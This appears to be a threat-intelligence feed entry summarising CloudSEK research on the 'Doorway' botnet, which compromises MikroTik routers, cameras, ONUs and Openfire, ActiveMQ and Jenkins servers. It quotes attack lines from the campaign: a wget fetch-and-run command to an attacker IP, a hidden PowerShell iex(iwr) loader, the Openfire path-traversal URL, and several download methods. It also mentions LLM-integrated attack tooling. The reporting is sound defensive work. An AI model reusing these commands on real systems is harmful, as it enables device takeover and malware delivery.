# Doorway Botnet: Large-Scale IoT and Network Device Compromise Campaign (MikroTik RouterOS CVE-2023-30799, Openfire CVE-2023-32315, ActiveMQ CVE-2023-46604, Jenkins, Cameras, ONUs)

> CloudSEK analyzed the 'Doorway' botnet, uncovered through two byte-identical exposed open directories (~41 GB) of operator tooling. The campaign compromises MikroTik RouterOS devices, IP cameras, optical network units and Java enterprise servers (Openfire, Jenkins, ActiveMQ, Tomcat and others). The operator is unknown; scanning ran from 2026-09-19 to 2026-10-19 and recorded 11,363 device joins and 58,920 second-stage payload fetches in a single hour.

- **Published:** 2026-10-28T12:27:02Z
- **Last reviewed:** 2026-10-28T12:27:02Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-4640
- **ID:** TL-2026-4640
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 26 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2023-30799, CVE-2023-46604, CVE-2023-32315

## Description

CloudSEK identified the Doorway operation from two exposed, identical open directories holding roughly 41 GB of operational data: the source of a Rust-based scanning and exploitation engine (doorway 0.1.0, ~21,870 first-party lines), 59 exploit modules covering routers, ONUs, cameras and Java services, credential stores and victim records. Scanning activity ran from 2026-09-19 to 2026-10-19. The article records 11,363 device joins and 58,920 second-stage payload fetches in a single hour, 4,671 module-level join records across 4,217 distinct IPs, 7,369 successful MikroTik/RouterOS authentications across 4,923 distinct device identities, 1,060 PPPoE subscriber records from a single ISP, and 1,772 geolocated victim IPs.

Reconnaissance uses a bounded GET / with the hardcoded User-Agent 'Hello World', ASCII-folded banner fingerprinting, and a honeypot gate that rejects hosts presenting more than 12 distinct fingerprints or more than 10 Server headers. Targeting then tries default or learned credentials (34 default pairs in the credential store; RouterOS WebFig is tried with admin and an empty password) and runs read-only probe() functions before exploitation. Source scanning rotates through a six-address pool (16.5.0.224-228 and 16.5.0.241).

Exploitation is module-specific. For MikroTik RouterOS, CVE-2023-30799 (admin to super-admin privilege escalation, 'FOISted') is chained with a big-endian MIPS gadget/ROP sequence and a SUPER_ADMIN byte-sequence injection; stage2.so (a MIPS32 ELF reverse shell of about 3,500 bytes) is fetched to /flash/rw/disk/stage2.so via /tool fetch and connects back over TCP/4444. For Openfire, CVE-2023-32315 is abused through the setup path traversal (/setup/setup-s/%u002e/plugin-admin.jsp) to upload and activate the malicious plugin ofvalid.jar (2,797 bytes), which writes a .loaded marker and sends an ICMP beacon to 45.205.1.9 before fetching the payload. For Apache ActiveMQ, CVE-2023-46604 is exploited with a Spring XML ClassPathXmlApplicationContext payload that instantiates ProcessBuilder through init-method; Linux hosts run sh -c "$(wget -qO- http://45.90.13.169/wtg83.xml)" and Windows hosts run a hidden PowerShell iex(iwr .../wtg83.ps1) loader. Jenkins is compromised through an anonymous Script Console RCE (20 confirmations).

The wtg83 shell dropper (659 bytes) runs uname -m and fetches an architecture-matched client (x86, a64, arm7, arm5, mips, mpsl; 120-423 KB), marking it with the exploit-vector argument (e.g. activemq, openfire). Delivery chains are redundant and tried in sequence: netcat, wget, curl, busybox wget, TFTP, FTP, raw TCP, NFS mount (45.90.13.11:/srv/nfs), short domains (fd6.eu, 19z.in), CGI form-encoded variants and printf droppers. Payload URLs carry an HMAC signature (?s=<16-hex>) bound to the target IP. An ICMP echo to the beacon receiver acts as proof of execution, as distinct from a successful download. Post-compromise, MikroTik devices are configured with SOCKS proxy services (port 1080 or a non-standard port) and assigned to groups; DARKLANTERN-class routers (UDP/9992 to UDP/8897 SOCKS) were also compromised (18, with 8 beacon-confirmed).

CloudSEK describes an agentic 'Watcher Model' operating pattern: five standing agent sessions, production-metric-driven replanning, a three-cycle escalation threshold and LLM-integrated tooling. The build tag 'wtg83' is likely a campaign/build identifier. Attribution is unknown. CloudSEK flags as unconfirmed the final client's full C2 protocol and tasking, the monetization model, and the success of large-scale RouterOS stage2.so deployment (field logs show 3 attempts, all failed). The BeaconBeagle API returned no records (HTTP 404) for 45.205.1.9 and 45.90.13.169 at the time of research.

## MITRE ATT&CK

- T1595 Active Scanning
- T1595.002 Vulnerability Scanning
- T1608.001 Upload Malware
- T1190 Exploit Public-Facing Application
- T1078.001 Default Accounts
- T1110.001 Password Guessing
- T1059.004 Unix Shell
- T1059.001 PowerShell
- T1505 Server Software Component
- T1095 Non-Application Layer Protocol
- T1571 Non-Standard Port
- T1090 Proxy

## Sources

- [The Doorway Botnet: Inside a Large-Scale IoT and Network Device Compromise Campaign](https://www.cloudsek.com/blog/doorway-botnet-global-iot-router-camera-enterprise-server-attacks)
- [NVD - CVE-2023-30799 (MikroTik RouterOS privilege escalation)](https://nvd.nist.gov/vuln/detail/CVE-2023-30799)
- [NVD - CVE-2023-46604 (Apache ActiveMQ OpenWire RCE)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604)
- [NVD - CVE-2023-32315 (Openfire path traversal)](https://nvd.nist.gov/vuln/detail/CVE-2023-32315)
- [Openfire security advisory GHSA-gw42-f939-fhvm (CVE-2023-32315)](https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm)
- [Apache ActiveMQ security advisory CVE-2023-46604](https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-4640